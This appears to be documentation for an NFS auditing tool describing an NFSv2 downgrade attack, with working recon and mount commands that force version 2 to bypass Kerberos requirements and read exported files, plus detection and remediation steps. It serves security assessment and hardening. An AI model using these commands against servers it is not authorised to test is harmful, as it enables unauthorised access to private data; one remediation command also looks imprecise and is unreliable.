Skip to content

F-1.6: NFSv2 Protocol Downgrade Attack

Classification

  • Severity: High
  • CVSS Vector: Network / Low Complexity / No Auth Required
  • Affected Versions: Servers supporting NFSv2 alongside NFSv3/v4
  • Prerequisite: Server still accepts NFSv2 connections (common on legacy systems)

Summary

NFSv2 (RFC 1094) predates even the limited security mechanisms of NFSv3. It has no AUTH flavor negotiation, no READDIRPLUS, and many implementations process NFSv2 requests with even fewer access control checks than v3. By explicitly requesting version 2 during mount (-o vers=2), an attacker may bypass security features that only exist in v3+ while still accessing the same exported data.

Technical detail

Why NFSv2 is weaker

Feature NFSv2 NFSv3 Impact
Auth negotiation None — just sends credential Mountd returns supported flavors No opportunity to enforce krb5
File size limit 32-bit (2GB) 64-bit Limits exfiltration volume only
READDIRPLUS Not available Returns handles + attrs Less info per call, but still works
Write stability Synchronous only UNSTABLE/FILE_SYNC choice Slower writes
Root squash Implementation-dependent Well-defined Some v2 implementations don't squash

The downgrade attack

# Normal v3 mount may enforce sec=krb5:
mount -t nfs -o vers=3 target:/export /mnt
# Error: "permission denied" (server requires krb5 for v3)

# Force v2 — server may still accept AUTH_SYS:
mount -t nfs -o vers=2 target:/export /mnt
# Success! NFSv2 path doesn't check auth flavor requirements

Why it works

Many NFS servers configure security on a per-version basis: - /etc/exports security options (sec=krb5) may only apply to NFSv3/v4 mount requests - The NFSv2 code path in the kernel may not consult the same security configuration - Legacy compatibility keeps v2 enabled even when not intended

Exploitation

# 1. Check if server supports v2
rpcinfo -p target | grep "100003.*2"
# or
nmap -sV -p 2049 target
# NFSv2 is often listed in the version string

# 2. Mount with explicit v2
mount -t nfs -o vers=2,nolock target:/export /mnt

# 3. Access files (may bypass v3 security settings)
ls -la /mnt/
cat /mnt/sensitive_file

# 4. With nfswolf:
nfswolf shell target:/export --nfs-version 2

Detection and exploitation in nfswolf

nfswolf includes a native NFSv2 client (18 procedures via RpcClient::call(100003, 2, ...)) and uses v2 as the preferred downgrade attack path in the always-on credential ladder. When v2 is detected, it is tried as step 1 before any v3/v4 credential manipulation.

Detection: - If v2 is enabled alongside v3/v4: Report as downgrade risk — v2 bypasses v3/v4 auth flavor enforcement - If v2 is the only version: Report as legacy, extremely weak - If v2 is enabled but sec=krb5 is configured for v3: Report as critical bypass

Exploitation: - Auto-uid step 1 switches to NFSv2 and retries the operation - If v2 succeeds, nfswolf stays on v2 for the rest of the session — no benefit to v3 when v2 gives unrestricted access - Handles obtained via v2 are fixed 32-byte (FHSIZE = 32) — export escape uses the same construct_escape_handle() logic with the v2 handle format

Impact

  • Bypass Kerberos authentication requirements intended for v3/v4
  • Access exports that were supposed to be restricted to authenticated clients
  • Exploit older, less-hardened code paths in the NFS server kernel module

Detection

  • Scan for NFSv2 support: rpcinfo -p target | grep "100003.*2"
  • nmap --script nfs-showmount -p 2049 target shows version information
  • nfswolf version matrix already detects this

Remediation

  1. Disable NFSv2: Add vers2=no to /etc/nfs.conf or RPCNFSDARGS="-N 2" in init config
  2. Kernel parameter: echo 'N' > /proc/fs/nfsd/versions (remove v2 support)
  3. Verify: After disabling, confirm with rpcinfo -p localhost | grep nfs
  4. NFSv2 should never be needed on any system deployed after ~2005